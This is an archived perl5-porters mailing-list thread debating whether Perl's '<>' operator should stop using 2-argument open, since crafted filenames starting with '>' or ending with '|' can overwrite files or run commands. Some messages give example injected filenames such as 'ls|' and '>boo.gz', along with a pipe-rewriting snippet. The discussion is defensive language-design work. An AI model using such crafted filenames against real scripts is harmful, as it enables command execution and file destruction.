> Indeed. I would much rather write while (<>). At the moment I can't, at least > not unless I add a 'notes and gotchas' section to my program's manual page > noting that it will open the wrong file if a filename has trailing spaces, > overwrite some random other file if a filename begins with >, and start running > arbitrary external commands if a filename begins or ends |. >
You and Aristotle have almost bought me over. I think the only part I'm missing to be 50% + 1 convinced personally is a survey or some other measure on how widely used these features are. I've already said I don't use them - but I'm not the type of person to see something cute and use it wherever I can just to say that I did. It is correct that modern shells provide all of the necessary functions, and these are usually easier to understand, therefore I expect the people who use it, to be the people who like to be overly clever and cute, and chose to use it, rather than found themselves forced to use it. :-) I'm still scared that Perl 5.10 will break my existing programs, and 5.12 more so, especially with many of the recent threads in this mailing list that seem to place less value that I prefer on backwards compatibility. *sigh* Cheers, mark -- Mark Mielke <mark@mielke.cc>
Subject: Re: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Mon, 28 Jul 2008 10:06:44 +0200
To: perl5-porters [...] perl.org
From: Aristotle Pagaltzis <pagaltzis [...] gmx.de>
Download (untitled) / with headers
text/plain 2.1k
* Tom Christiansen <tchrist@perl.com> [2008-07-28 04:00]: Show quoted text
> In-Reply-To: Message from Zefram <zefram@fysh.org> > of "Sat, 26 Jul 2008 23:18:19 BST." <20080726221819.GA15269@fysh.org> >
> > I think these (<> and some of the regexp things) are > > unreasonably difficult to understand.
> > While I see that you yourself have some difficulty, one > cannot--and should not--casually extrapolate one particular > user's conceptual troubles to an entire community or user-base. > > Perhaps it was not well-explained to you. I don't know. But I > firmly believe that programmers who'd rather write, or see > written, this sort of sequence: > > if (@ARGV == 0) { > @ARGV = ("-"); > } > > ARGUMENT: > while (@ARGV != 0) { > $ARGV = shift(@ARGV); > $ARGV = "<&=STDIN" if $ARGV eq "-"; > # that's an fdopen(3S); use <&STDIN (or <&0)for dup2(2) > unless (open(ARGV, $ARGV)) { > print STDERR "Can't open $ARGV: $!\n"; > next ARGUMENT; > } > > LINE: > while (defined($line = readline(*ARGV))) { > if ($line =~ /^=for\s+(index|later)/) { > next LINE; > } > $chars = $chars + length($line); > $words = $words + split(" ", $line, 0); > $lines = $lines + ($line =~ tr[\n][]); > } > } > > instead of just > > while (<>) { > next if /^=for\s+(index|later)/; > $chars += length; > $words += split; > $lines += y/\n//; > } > > or even better > > #!/usr/bin/perl -n > next if /^=for\s+(index|later)/; > $chars += length; > $words += split; > $lines += y/\n//; > > are few and far between. They do not understand Perl's > *spirit*, and probably never shall.
That is a perfect demonstration of the problem. Currently, if I want 3-arg open semantics, I have no option but to write those exact reams of code, whereas if want 2-arg open semantics, I can just use the diamond and get that whole raft of features for free. In practice, that means I opt for the diamond despite it having what for my use cases is a misfeature. Having the two options be just a *little* less disproportionate would be worthwhile, don’t you agree? Regards, -- Aristotle Pagaltzis // <http://plasmasturm.org/>
CC: <perl5-porters [...] perl.org>
Subject: RE: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Mon, 28 Jul 2008 09:58:42 +0100
To: "Mark Mielke" <mark [...] mark.mielke.cc>
From: "Ed Avis" <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 1.6k
Mark Mielke <mark@mark.mielke.cc> wrote [magic handling of special characters in <>] Show quoted text
>I think the only >part I'm missing to be 50% + 1 convinced personally is a >survey or some other measure on how widely used these features >are.
I think this is mostly unknowable. We've done a little survey here and IIRC the answers were - I might have used it once on Windows (me). - You can use the trailing newline stripping for some idiom where you set ARGV from input data without chomping. - I expect tchrist will give examples of where he likes it and uses it. But mostly, even those who dislike the idea of making <> un-magic were not really using the special features except for golfing. And people on this list are about the most expert perl users you will find. If even we don't use it, chances are that hardly anyone else does. You suggested that an 'ordinary user' of a program that happens to be written in perl and using <> might start to rely upon the magic behaviour. But this seems to me unlikely if the magic is not mentioned in the program's documentation (and it never is). Only someone who already knew perl would do so. (Indeed, someone who knew more about the behaviour of <> than the original programmer knew, or at least documented.) And most of the time, I would expect people to prefer the shell's standard facilities for redirecting input from a pipeline, which work with all programs. -- Ed Avis <eda@waniasset.com> Show quoted text
______________________________________________________________________ This email has been scanned by the MessageLabs Email Security System. For more information please visit http://www.messagelabs.com/email
______________________________________________________________________
CC: Mark Mielke <mark [...] mark.mielke.cc>, perl5-porters [...] perl.org
Subject: Re: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Mon, 28 Jul 2008 18:08:41 +0200
To: Ed Avis <eda [...] waniasset.com>
From: Abigail <abigail [...] abigail.be>
Download (untitled) / with headers
text/plain 2.9k
On Mon, Jul 28, 2008 at 09:58:42AM +0100, Ed Avis wrote: Show quoted text
> Mark Mielke <mark@mark.mielke.cc> wrote > > [magic handling of special characters in <>] >
> >I think the only > >part I'm missing to be 50% + 1 convinced personally is a > >survey or some other measure on how widely used these features > >are.
> > I think this is mostly unknowable. We've done a little survey here and IIRC the answers were > > - I might have used it once on Windows (me). > > - You can use the trailing newline stripping for some idiom where you set ARGV from input data without chomping. > > - I expect tchrist will give examples of where he likes it and uses it.
There was an official survey? I certainly have used magical 2-arg open more than once, although I cannot recall whether that was in combination with '<>'. Show quoted text
> But mostly, even those who dislike the idea of making <> un-magic were not really using the special features except for golfing. And people on this list are about the most expert perl users you will find. If even we don't use it, chances are that hardly anyone else does.
But you don't know. It's just the putting your finger in the wind, querying the handful of people who happen to read this thread. The fast majority of Perl programmers doesn't read p5p. In fact, the fast majority of the Perl programmers out there doesn't read any mailinglist, nor do they participate in anyway in the "Perl community". Only a tiny minority has code on CPAN. Show quoted text
> You suggested that an 'ordinary user' of a program that happens to be written in perl and using <> might start to rely upon the magic behaviour. But this seems to me unlikely if the magic is not mentioned in the program's documentation (and it never is). Only someone who already knew perl would do so. (Indeed, someone who knew more about the behaviour of <> than the original programmer knew, or at least documented.) And most of the time, I would expect people to prefer the shell's standard facilities for redirecting input from a pipeline, which work with all programs.
The shell is only an option if the shell is involved. And even if there's a shell, such constructs aren't always that portable. I remain of the opinion that p5p has always been quite careful about breaking backwards compatability, bending over backwards to avoid breaking even the most obscure construct. I think 'while (<>)' should keep doing what it has done for longer than I can remember (that is, using 2-arg open). And I welcome any construct that uses 3-arg open. Now, for some shedcolouring: instead of using <<>>, why not allow a listing of IO layers between '<' and '>', which would cause the construct to automatically open the files with the listed layers? That is, while (<:utf8>) { # Opens files like 'open $fh, "<:utf8", "filename"' } A lone : could indicate using 3-arg open, without using any PerlIO layers. while (<:>) { # Open files like 'open $fh, "<", "filename"' } Abigail
CC: "Mark Mielke" <mark [...] mark.mielke.cc>, <perl5-porters [...] perl.org>
Subject: RE: Alarums and Excursions (was [perl #2783] Security of ARGVusing 2-argument open)
Date: Mon, 28 Jul 2008 17:25:45 +0100
To: "Abigail" <abigail [...] abigail.be>
From: "Ed Avis" <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 1.7k
Abigail wrote: Show quoted text
>There was an official survey?
No, just a 'little survey' right here in this thread. Show quoted text
>I certainly have used magical >2-arg open more than once, although I cannot recall whether >that was in combination with '<>'.
Noted. I've used 2-arg open for pipes a lot too, in the old days, and still do sometimes. Show quoted text
>But you don't know. It's just the putting your finger in the >wind, querying the handful of people who happen to read this >thread. The fast majority of Perl programmers doesn't read >p5p. In fact, the fast majority of the Perl programmers out >there doesn't read any mailinglist, nor do they participate in >anyway in the "Perl community". Only a tiny minority has code on CPAN.
That is right. All you can do is look at the perl code which is out there (at least the subset of it which is in open source projects) and make some reasonable guesses. As far as I can see, the majority of programmers have been using <> without really being aware that it has any rough edges or security implications at all. Show quoted text
>I remain of the opinion that p5p has always been quite careful >about breaking backwards compatability, bending over backwards >to avoid breaking even the most obscure construct.
That is a good thing but in this case I feel that the misfeature is serious enough (and the number of intentional uses small enough, and the workaround easy enough) to be worth changing in a perl major version. We may not get agreement on that. -- Ed Avis <eda@waniasset.com> Show quoted text
______________________________________________________________________ This email has been scanned by the MessageLabs Email Security System. For more information please visit http://www.messagelabs.com/email
______________________________________________________________________
CC: "Ed Avis" <eda [...] waniasset.com>, "Mark Mielke" <mark [...] mark.mielke.cc>, perl5-porters [...] perl.org
Subject: Re: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Mon, 28 Jul 2008 18:43:14 +0200
To: Abigail <abigail [...] abigail.be>
From: "Rafael Garcia-Suarez" <rgarciasuarez [...] gmail.com>
Download (untitled) / with headers
text/plain 2.4k
2008/7/28 Abigail <abigail@abigail.be>: Show quoted text
>> You suggested that an 'ordinary user' of a program that happens to be >> written in perl and using <> might start to rely upon the magic >> behaviour. But this seems to me unlikely if the magic is not >> mentioned in the program's documentation (and it never is). Only >> someone who already knew perl would do so. (Indeed, someone who knew >> more about the behaviour of <> than the original programmer knew, or >> at least documented.) And most of the time, I would expect people to >> prefer the shell's standard facilities for redirecting input from a >> pipeline, which work with all programs.
> > > The shell is only an option if the shell is involved. And even if there's a > shell, such constructs aren't always that portable. > > > I remain of the opinion that p5p has always been quite careful about breaking > backwards compatability, bending over backwards to avoid breaking even the > most obscure construct. I think 'while (<>)' should keep doing what it has > done for longer than I can remember (that is, using 2-arg open).
In that case, the choice must be made between changing the default or not. The only thing that will break is programs that rely on being able to process command-line arguments like 'ls|'. The only place were I can imagine that construct used, is complex systems of interdependent perl+shell scripts. I've always been a bit uncomfortable with the current magical behaviour, and that's why I tend to favor a non-compatible change. We can add a simple way to restore the old behaviour, though : a command-line flag (-N and -P were suggested as counterparts to -n and -p. -P was conveniently made free previously:) (Using an environment variable for that is out of question.) Show quoted text
> And I welcome any construct that uses 3-arg open. > > Now, for some shedcolouring: instead of using <<>>, why not allow a > listing of IO layers between '<' and '>', which would cause the construct > to automatically open the files with the listed layers? That is, > > while (<:utf8>) { > # Opens files like 'open $fh, "<:utf8", "filename"' > }
That's an interesting syntax. And moreover, it mostly parses already. Show quoted text
> A lone : could indicate using 3-arg open, without using any PerlIO layers. > > while (<:>) { > # Open files like 'open $fh, "<", "filename"' > }
-- Backwards compatibility is often incompatible with security. -- Bruce Schneier, http://www.schneier.com/blog/archives/2006/08/technological_a_1.html
CC: "Ed Avis" <eda [...] waniasset.com>, "Mark Mielke" <mark [...] mark.mielke.cc>, <perl5-porters [...] perl.org>, "Abigail" <abigail [...] abigail.be>
Subject: FW: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Mon, 28 Jul 2008 17:58:37 +0100
To: <perl5-porters [...] perl.org>
From: "Ed Avis" <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 881b
Rafael Garcia-Suarez wrote: Show quoted text
>We can add a simple way to restore the old behaviour, though : >a command-line flag (-N and -P were suggested as counterparts >to -n and -p. -P was conveniently made free previously:)
I don't think it matters much if -n and -p continue being the magical file loop as at present. For quick oneliners you often want the extra power, and don't really care about whether it's safe in general. OTOH, making -n and -p boring commands (so they can be safely be used in shell programming, etc.) and adding -N and -P would also work well. -- Ed Avis <eda@waniasset.com> Show quoted text
______________________________________________________________________ This email has been scanned by the MessageLabs Email Security System. For more information please visit http://www.messagelabs.com/email
______________________________________________________________________
Subject: Re: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Mon, 28 Jul 2008 19:48:25 +0200
To: perl5-porters [...] perl.org
From: Tels <nospam-abuse [...] bloodgate.com>
Download (untitled) / with headers
text/plain 2.1k
On Monday 28 July 2008 09:31:11 Mark Mielke wrote: Show quoted text
> Ed Avis wrote:
> > Indeed. I would much rather write while (<>). At the moment I > > can't, at least not unless I add a 'notes and gotchas' section to > > my program's manual page noting that it will open the wrong file if > > a filename has trailing spaces, overwrite some random other file if > > a filename begins with >, and start running arbitrary external > > commands if a filename begins or ends |.
> > You and Aristotle have almost bought me over. I think the only part > I'm missing to be 50% + 1 convinced personally is a survey or some > other measure on how widely used these features are. I've already > said I don't use them - but I'm not the type of person to see > something cute and use it wherever I can just to say that I did. It > is correct that modern shells provide all of the necessary functions, > and these are usually easier to understand, therefore I expect the > people who use it, to be the people who like to be overly clever and > cute, and chose to use it, rather than found themselves forced to use > it. :-) > > I'm still scared that Perl 5.10 will break my existing programs, and > 5.12 more so, especially with many of the recent threads in this > mailing list that seem to place less value that I prefer on backwards > compatibility. *sigh*
I don't know if that helps, but reading this thread actually made me realize for the first time that "<>" is actually bad and doing things I don't it intend to do - depending on what file names are in the current directory. And yes, I am guilty of whipping up small scripts that are run as part of cronjobs as root to do some backup tasks or other things, and they might use "<>" just because "it works" and thus there are now timebombs ticking on some of the machines. Thank god everything is internal and not connected to any other network. All the best, Tels -- Signed on Mon Jul 28 19:46:12 2008 with key 0x93B84C15. View my photo gallery: http://bloodgate.com/photos PGP key on http://bloodgate.com/tels.asc or per email. "If you want to travel around the world and be invited to speak at a lot of different places, just write a Unix operating system." -- Linus Torvalds
Download signature.asc
application/pgp-signature 481b

Message body not shown because it is not plain text.

Subject: Re: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Mon, 28 Jul 2008 19:52:27 +0200
To: perl5-porters [...] perl.org
From: Tels <nospam-abuse [...] bloodgate.com>
Download (untitled) / with headers
text/plain 2.3k
Moin, On Monday 28 July 2008 18:08:41 Abigail wrote: Show quoted text
> On Mon, Jul 28, 2008 at 09:58:42AM +0100, Ed Avis wrote:
> > Mark Mielke <mark@mark.mielke.cc> wrote > > > > [magic handling of special characters in <>] > >
> > >I think the only > > >part I'm missing to be 50% + 1 convinced personally is a > > >survey or some other measure on how widely used these features > > >are.
> > > > I think this is mostly unknowable. We've done a little survey here > > and IIRC the answers were > > > > - I might have used it once on Windows (me). > > > > - You can use the trailing newline stripping for some idiom where > > you set ARGV from input data without chomping. > > > > - I expect tchrist will give examples of where he likes it and uses > > it.
> > There was an official survey? I certainly have used magical 2-arg > open more than once, although I cannot recall whether that was in > combination with '<>'. >
> > But mostly, even those who dislike the idea of making <> un-magic > > were not really using the special features except for golfing. And > > people on this list are about the most expert perl users you will > > find. If even we don't use it, chances are that hardly anyone else > > does.
> > But you don't know. It's just the putting your finger in the wind, > querying the handful of people who happen to read this thread. The > fast majority of Perl programmers doesn't read p5p. In fact, the fast > majority of the Perl programmers out there doesn't read any > mailinglist, nor do they participate in anyway in the "Perl > community". Only a tiny minority has code on CPAN.
So we are back to guesswork. I'd venture that "the vast majority of Perl programmers" doesn't know that using "<>" without -T is a security problem. (This are the same people who don't even know what -T is). When you are the expert in the field, it is very easy to make the mistake to take your knowledge for granted. But it is not. For every expert like you, there are 100 mediocre half-knowing people like me and about 10000 "beginners". Anyway, I am against breaking backwards compatibility, but do we really want backwards compatibility trump security? All the best, Tels -- Signed on Mon Jul 28 19:49:37 2008 with key 0x93B84C15. Get one of my photo posters: http://bloodgate.com/posters PGP key on http://bloodgate.com/tels.asc or per email. "Wo die Schoschonen schön wohnen."
Download signature.asc
application/pgp-signature 481b

Message body not shown because it is not plain text.

CC: Abigail <abigail [...] abigail.be>, "Ed Avis" <eda [...] waniasset.com>, "Mark Mielke" <mark [...] mark.mielke.cc>, perl5-porters [...] perl.org
Subject: Re: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Mon, 28 Jul 2008 20:56:12 +0200
To: "Rafael Garcia-Suarez" <rgarciasuarez [...] gmail.com>
From: "H.Merijn Brand" <h.m.brand [...] xs4all.nl>
Download (untitled) / with headers
text/plain 3.1k
On Mon, 28 Jul 2008 18:43:14 +0200, "Rafael Garcia-Suarez" <rgarciasuarez@gmail.com> wrote: Show quoted text
> 2008/7/28 Abigail <abigail@abigail.be>:
> >> You suggested that an 'ordinary user' of a program that happens to be > >> written in perl and using <> might start to rely upon the magic > >> behaviour. But this seems to me unlikely if the magic is not > >> mentioned in the program's documentation (and it never is). Only > >> someone who already knew perl would do so. (Indeed, someone who knew > >> more about the behaviour of <> than the original programmer knew, or > >> at least documented.) And most of the time, I would expect people to > >> prefer the shell's standard facilities for redirecting input from a > >> pipeline, which work with all programs.
> > > > > > The shell is only an option if the shell is involved. And even if there's a > > shell, such constructs aren't always that portable. > > > > > > I remain of the opinion that p5p has always been quite careful about breaking > > backwards compatability, bending over backwards to avoid breaking even the > > most obscure construct. I think 'while (<>)' should keep doing what it has > > done for longer than I can remember (that is, using 2-arg open).
> > In that case, the choice must be made between changing the default or not. > > The only thing that will break is programs that rely on being able to > process command-line arguments like 'ls|'. The only place were I can > imagine that construct used, is complex systems of interdependent > perl+shell scripts. > > I've always been a bit uncomfortable with the current magical behaviour, > and that's why I tend to favor a non-compatible change. > > We can add a simple way to restore the old behaviour, though : a > command-line flag (-N and -P were suggested as counterparts to -n and > -p. -P was conveniently made free previously:) (Using an environment > variable for that is out of question.) >
> > And I welcome any construct that uses 3-arg open. > > > > Now, for some shedcolouring: instead of using <<>>, why not allow a > > listing of IO layers between '<' and '>', which would cause the construct > > to automatically open the files with the listed layers? That is, > > > > while (<:utf8>) { > > # Opens files like 'open $fh, "<:utf8", "filename"' > > }
> > That's an interesting syntax. And moreover, it mostly parses already.
What will happen with my $head = <:utf8>; while (<>) { m/^ţ/ and last; } while (<:iso8859-1>) { m/^ö/ and last; } while (<:>) { # process the rest } We as programmers don't know when <> changes input stream, unless we check $ARGV. This would need an extra variable, like $ARGV_ENCODING Show quoted text
> > A lone : could indicate using 3-arg open, without using any PerlIO layers. > > > > while (<:>) { > > # Open files like 'open $fh, "<", "filename"' > > }
-- H.Merijn Brand Amsterdam Perl Mongers http://amsterdam.pm.org/ using & porting perl 5.6.2, 5.8.x, 5.10.x, 5.11.x on HP-UX 10.20, 11.00, 11.11, 11.23, and 11.31, SuSE 10.1, 10.2, and 10.3, AIX 5.2, and Cygwin. http://mirrors.develooper.com/hpux/ http://www.test-smoke.org/ http://qa.perl.org http://www.goldmark.org/jeff/stupid-disclaimers/
CC: Rafael Garcia-Suarez <rgarciasuarez [...] gmail.com>, Abigail <abigail [...] abigail.be>, Ed Avis <eda [...] waniasset.com>, Mark Mielke <mark [...] mark.mielke.cc>, perl5-porters [...] perl.org
Subject: Re: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Mon, 28 Jul 2008 12:03:49 -0700
To: "H.Merijn Brand" <h.m.brand [...] xs4all.nl>
From: Glenn Linderman <perl [...] NevCal.com>
Download (untitled) / with headers
text/plain 3.2k
On approximately 7/28/2008 11:56 AM, came the following characters from the keyboard of H.Merijn Brand: Show quoted text
> On Mon, 28 Jul 2008 18:43:14 +0200, "Rafael Garcia-Suarez" > <rgarciasuarez@gmail.com> wrote: >
>> 2008/7/28 Abigail <abigail@abigail.be>:
>>>> You suggested that an 'ordinary user' of a program that happens to be >>>> written in perl and using <> might start to rely upon the magic >>>> behaviour. But this seems to me unlikely if the magic is not >>>> mentioned in the program's documentation (and it never is). Only >>>> someone who already knew perl would do so. (Indeed, someone who knew >>>> more about the behaviour of <> than the original programmer knew, or >>>> at least documented.) And most of the time, I would expect people to >>>> prefer the shell's standard facilities for redirecting input from a >>>> pipeline, which work with all programs.
>>> >>> The shell is only an option if the shell is involved. And even if there's a >>> shell, such constructs aren't always that portable. >>> >>> >>> I remain of the opinion that p5p has always been quite careful about breaking >>> backwards compatability, bending over backwards to avoid breaking even the >>> most obscure construct. I think 'while (<>)' should keep doing what it has >>> done for longer than I can remember (that is, using 2-arg open).
>> In that case, the choice must be made between changing the default or not. >> >> The only thing that will break is programs that rely on being able to >> process command-line arguments like 'ls|'. The only place were I can >> imagine that construct used, is complex systems of interdependent >> perl+shell scripts. >> >> I've always been a bit uncomfortable with the current magical behaviour, >> and that's why I tend to favor a non-compatible change. >> >> We can add a simple way to restore the old behaviour, though : a >> command-line flag (-N and -P were suggested as counterparts to -n and >> -p. -P was conveniently made free previously:) (Using an environment >> variable for that is out of question.) >>
>>> And I welcome any construct that uses 3-arg open. >>> >>> Now, for some shedcolouring: instead of using <<>>, why not allow a >>> listing of IO layers between '<' and '>', which would cause the construct >>> to automatically open the files with the listed layers? That is, >>> >>> while (<:utf8>) { >>> # Opens files like 'open $fh, "<:utf8", "filename"' >>> }
>> That's an interesting syntax. And moreover, it mostly parses already.
> > What will happen with > > my $head = <:utf8>; > while (<>) { > m/^ţ/ and last; > } > while (<:iso8859-1>) { > m/^ö/ and last; > } > while (<:>) { > # process the rest > } > > We as programmers don't know when <> changes input stream, unless we > check $ARGV. This would need an extra variable, like $ARGV_ENCODING
Yes, the encoding needs to be associated with each individual file, not a set of possibly diverse files, so this syntax is pretty hokey to me. Given a situation where the encoding is associated with each file, the code should be able to then just assume and process unicode. -- Glenn -- http://nevcal.com/ =========================== A protocol is complete when there is nothing left to remove. -- Stuart Cheshire, Apple Computer, regarding Zero Configuration Networking
CC: Perl Porters <perl5-porters [...] perl.org>
Subject: Re: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Mon, 28 Jul 2008 15:15:15 -0400 (EDT)
To: Rafael Garcia-Suarez <rgarciasuarez [...] gmail.com>
From: Andy Dougherty <doughera [...] lafayette.edu>
On Mon, 28 Jul 2008, Rafael Garcia-Suarez wrote: Show quoted text
> 2008/7/28 Abigail <abigail@abigail.be>:
Show quoted text
> > I remain of the opinion that p5p has always been quite careful about breaking > > backwards compatability, bending over backwards to avoid breaking even the > > most obscure construct. I think 'while (<>)' should keep doing what it has > > done for longer than I can remember (that is, using 2-arg open).
Yes, but we have broken some things. For example, I have scripts that use $* that will no longer work under 5.10. But you are right, such breaking is not done lightly. Show quoted text
> The only thing that will break is programs that rely on being able to > process command-line arguments like 'ls|'. The only place were I can > imagine that construct used, is complex systems of interdependent > perl+shell scripts. > > I've always been a bit uncomfortable with the current magical behaviour, > and that's why I tend to favor a non-compatible change.
For what it's worth, on balance, I tend to agree with Rafael here. -- Andy Dougherty doughera@lafayette.edu
CC: Rafael Garcia-Suarez <rgarciasuarez [...] gmail.com>, Perl Porters <perl5-porters [...] perl.org>
Subject: Re: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Mon, 28 Jul 2008 21:28:22 +0200
To: Andy Dougherty <doughera [...] lafayette.edu>
From: Abigail <abigail [...] abigail.be>
Download (untitled) / with headers
text/plain 1.7k
On Mon, Jul 28, 2008 at 03:15:15PM -0400, Andy Dougherty wrote: Show quoted text
> On Mon, 28 Jul 2008, Rafael Garcia-Suarez wrote: >
> > 2008/7/28 Abigail <abigail@abigail.be>:
>
> > > I remain of the opinion that p5p has always been quite careful about breaking > > > backwards compatability, bending over backwards to avoid breaking even the > > > most obscure construct. I think 'while (<>)' should keep doing what it has > > > done for longer than I can remember (that is, using 2-arg open).
> > Yes, but we have broken some things. For example, I have scripts that use > $* that will no longer work under 5.10. But you are right, such breaking > is not done lightly.
Yes, but $* was first deprecated, and if you use it now it warns. Show quoted text
> > The only thing that will break is programs that rely on being able to > > process command-line arguments like 'ls|'. The only place were I can > > imagine that construct used, is complex systems of interdependent > > perl+shell scripts. > > > > I've always been a bit uncomfortable with the current magical behaviour, > > and that's why I tend to favor a non-compatible change.
> > For what it's worth, on balance, I tend to agree with Rafael here.
I'm not so sure. If implemented, we will now get the following: - Programs that were written pre-5.12 that rely on while (<>) to be 2-arg open will silently fail to work correctly when run with a post 5.12 perl. - Programs that wouldn't use while (<>) pre-5.12 (because they might run in an environment where file names may start with '|' or '>') will use 3-arg "safe" while (<>), will be, silently, a security issue when run with a pre-5.12. If you make "while (<<>>)" to be 3-arg open, then at least such programs will fail to compile when run with a pre-5.12 perl. Abigail
Subject: Re: FW: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Mon, 28 Jul 2008 22:56:51 +0200
To: perl5-porters [...] perl.org
From: Aristotle Pagaltzis <pagaltzis [...] gmx.de>
Download (untitled) / with headers
text/plain 1.1k
* Ed Avis <eda@waniasset.com> [2008-07-28 19:00]: Show quoted text
> Rafael Garcia-Suarez wrote:
>> We can add a simple way to restore the old behaviour, though : >> a command-line flag (-N and -P were suggested as counterparts >> to -n and -p. -P was conveniently made free previously:)
> > I don't think it matters much if -n and -p continue being the > magical file loop as at present. For quick oneliners you often > want the extra power, and don't really care about whether it's > safe in general.
OTOH when writing one-liners you are usually closest to the shell with its process substitution feature, so unless you are on Windows that’s when the feature provided by 2-arg open matters least. It’s more useful when the diamond is used deep inside a program (perhaps with `local *ARGV = [ @api_client_input_goes_here ]`), and is documented as API, since that’s when you can’t easily do process substitution in another way. (It’s *possible*, even if the function expects a filename and uses 3-arg open: you can pass it a reference to a tied scalar as the filename. Yes, very pretty.) Regards, -- Aristotle Pagaltzis // <http://plasmasturm.org/>
CC: Andy Dougherty <doughera [...] lafayette.edu>, Rafael Garcia-Suarez <rgarciasuarez [...] gmail.com>, Perl Porters <perl5-porters [...] perl.org>
Subject: Re: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Mon, 28 Jul 2008 22:08:40 +0100
To: Abigail <abigail [...] abigail.be>
From: Dave Mitchell <davem [...] iabyn.com>
Download (untitled) / with headers
text/plain 508b
On Mon, Jul 28, 2008 at 09:28:22PM +0200, Abigail wrote: Show quoted text
> I'm not so sure. If implemented, we will now get the following: > > - Programs that were written pre-5.12 that rely on while (<>) to be > 2-arg open will silently fail to work correctly when run with a > post 5.12 perl.
I would expect they would fail *noisily* with Can't open |ls: No such file or directory at .. or similar. -- "Foul and greedy Dwarf - you have eaten the last candle." -- "Hordes of the Things", BBC Radio.
CC: Rafael Garcia-Suarez <rgarciasuarez [...] gmail.com>, Perl Porters <perl5-porters [...] perl.org>
Subject: Re: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Mon, 28 Jul 2008 22:15:04 +0100
To: Andy Dougherty <doughera [...] lafayette.edu>
From: Dave Mitchell <davem [...] iabyn.com>
Download (untitled) / with headers
text/plain 723b
On Mon, Jul 28, 2008 at 03:15:15PM -0400, Andy Dougherty wrote: Show quoted text
> > I've always been a bit uncomfortable with the current magical behaviour, > > and that's why I tend to favor a non-compatible change.
> > For what it's worth, on balance, I tend to agree with Rafael here.
Ditto. Well, definitely make <> fail on special filenames (except '-'). As for providing a mechanism for 2-arg open, such as -P, I'm not so convinced. I think for those rare occasions where its needed, just do it longhand. -- More than any other time in history, mankind faces a crossroads. One path leads to despair and utter hopelessness. The other, to total extinction. Let us pray we have the wisdom to choose correctly. -- Woody Allen
Subject: RE: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Mon, 28 Jul 2008 14:38:07 -0400
To: perl5-porters <perl5-porters [...] perl.org>
From: Mark Dominus <mjdominus [...] gmail.com>
Download (untitled) / with headers
text/plain 548b
On Mon, 2008-07-28 at 09:58 +0100, Ed Avis wrote: Show quoted text
> We've done a little survey here
I disagree. You have not, and even if you had, it would probably not be worth anything anyway. Show quoted text
> and IIRC the answers were
I have used that feature more than once. For example, I have a program that generates reports from my web server logs which begins: #!/usr/bin/perl -lan BEGIN { for (@ARGV) { if (/\.gz$/) { $_ = "gzip -dc $_ |"; } } } ...
CC: perl5-porters <perl5-porters [...] perl.org>
Subject: Re: Alarums and Excursions (was [perl #2783] Security of ARGV using 2-argument open)
Date: Mon, 28 Jul 2008 15:10:07 -0700
To: mjd [...] plover.com
From: Glenn Linderman <perl [...] NevCal.com>
Download (untitled) / with headers
text/plain 1.6k
On approximately 7/28/2008 11:38 AM, came the following characters from the keyboard of Mark Dominus: Show quoted text
> On Mon, 2008-07-28 at 09:58 +0100, Ed Avis wrote:
>> We've done a little survey here
> > I disagree. You have not, and even if you had, it would probably not be > worth anything anyway. >
>> and IIRC the answers were
> > I have used that feature more than once. > > For example, I have a program that generates reports from my web server > logs which begins: > > #!/usr/bin/perl -lan > > BEGIN { > for (@ARGV) { > if (/\.gz$/) { > $_ = "gzip -dc $_ |"; > } > } > } > ...
Nary a "while(<>)" in sight in that code snippet. I guess you are preprocessing real file names in preparation for a later "while(<>)"? Have you shared that code with anyone? If so, how do you protect them from overwriting their file "boo.gz" when they also have a file ">boo.gz" in the same directory, and invoke your program with "mark's script" * I'm sure it is quite safe in your web server environment, which doesn't have such names, and is secure from having such names created therein, but you shouldn't assume your customers are so lucky. So programs such as your sample snippet would need an extra line use magic_argv 'pipes'; # or something similar to continue working if the change is made in the scope of the "while(<>)" statement. -- Glenn -- http://nevcal.com/ =========================== A protocol is complete when there is nothing left to remove. -- Stuart Cheshire, Apple Computer, regarding Zero Configuration Networking
CC: Perl5-Porteros <perl5-porters [...] perl.org>, Abigail <abigail [...] abigail.be>, Rafael Garcia-Suarez <rgarciasuarez [...] gmail.com>
Subject: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open)
Date: Mon, 28 Jul 2008 21:35:57 -0600
To: mjd [...] plover.com
From: Tom Christiansen <tchrist [...] perl.com>
Download (untitled) / with headers
text/plain 8.2k
In-Reply-To: Message from Mark Jason Dominus <mjdominus@gmail.com> of "Mon, 28 Jul 2008 14:38:07 EDT." <1217270287.13235.43.camel@localhost> Show quoted text
> On Mon, 2008-07-28 at 09:58 +0100, Ed Avis wrote:
Show quoted text
>> We've done a little survey here
Show quoted text
>I disagree. You have not,
Quite right; Abigail also picked up on that. Show quoted text
> and even if you had, it would probably not be > worth anything anyway.
Right again. Show quoted text
>> and IIRC the answers were
Show quoted text
> I have used that feature more than once.
Nor are you alone. See perlopentut. Although that doesn't say how *much* more often than once. I intend to quantify mine, at least a little bit. Show quoted text
> For example, I have a program that generates reports from my web > server logs which begins:
Show quoted text
> #!/usr/bin/perl -lan > > BEGIN { > for (@ARGV) { > if (/\.gz$/) { > $_ = "gzip -dc $_ |"; > } > } > } > ... >
